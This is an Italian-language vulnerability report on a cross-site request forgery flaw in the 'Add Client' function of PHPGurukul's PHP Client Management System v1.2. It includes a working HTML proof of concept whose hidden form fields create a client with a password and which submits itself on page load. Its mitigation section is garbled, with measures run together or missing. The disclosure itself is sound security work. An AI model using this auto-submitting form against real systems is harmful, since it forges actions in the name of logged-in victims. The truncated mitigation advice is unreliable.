
Prova di concetto che dimostra una vulnerabilità CSRF in un sistema di gestione clienti basato su PHP, con codice di exploit HTML e strategie di mitigazione per il test di sicurezza delle applicazioni web.
Project Name & Repo URL : https://phpgurukul.com/client-management-system-using-php-mysql/
Vulnerability Name : Cross-Site Request Forgery(CSRF)
Affected Version : V1.2
Una vulnerabilità di Cross-Site Request Forgery (CSRF) è presente nella funzionalità Aggiungi Client del Client Management System sviluppato da PHPGurukul. CSRF è un attacco in cui un utente autenticato viene indotto a inviare una richiesta dannosa a un'applicazione web. Ciò può portare all'esecuzione di azioni non autorizzate per conto dell'utente. In questo report, dimostriamo come CSRF possa essere utilizzato per creare utenti fittizi in un Client Management System e suggeriamo strategie di mitigazione.
Utilizzando le credenziali fornite, accedi al Client Management System.



Di seguito è riportato il PoC HTML per l'attacco CSRF:
<html>
<body>
<form action="http://localhost/clientms/admin/add-client.php" method="POST">
<input type="hidden" name="accounttype" value="Active Account" />
<input type="hidden" name="cname" value="moulimurugan" />
<input type="hidden" name="comname" value="kppr" />
<input type="hidden" name="address" value="vijayamangalam" />
<input type="hidden" name="city" value="erode" />
<input type="hidden" name="state" value="tamil" />
<input type="hidden" name="zcode" value="638026" />
<input type="hidden" name="wphnumber" value="968560710" />
<input type="hidden" name="cellphnumber" value="6931052465" />
<input type="hidden" name="ophnumber" value="9638560410" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="password" value="moulimurugan" />
<input type="hidden" name="websiteadd" value="clientmsdb" />
<input type="hidden" name="notes" value="Nil" />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>



Per prevenire attacchi CSRF, implementa le seguenti misure:
SameSite=Strict o SameSite=Lax.POST per azioni sensibili ed evita di elaborare richieste GET con effetti collaterali.Questo report dimostra come le vulnerabilità CSRF possano essere sfruttate per creare Client non autorizzati in un Client Management System. L'implementazione delle strategie di mitigazione suggerite aiuterà a proteggere l'applicazione da tali attacchi.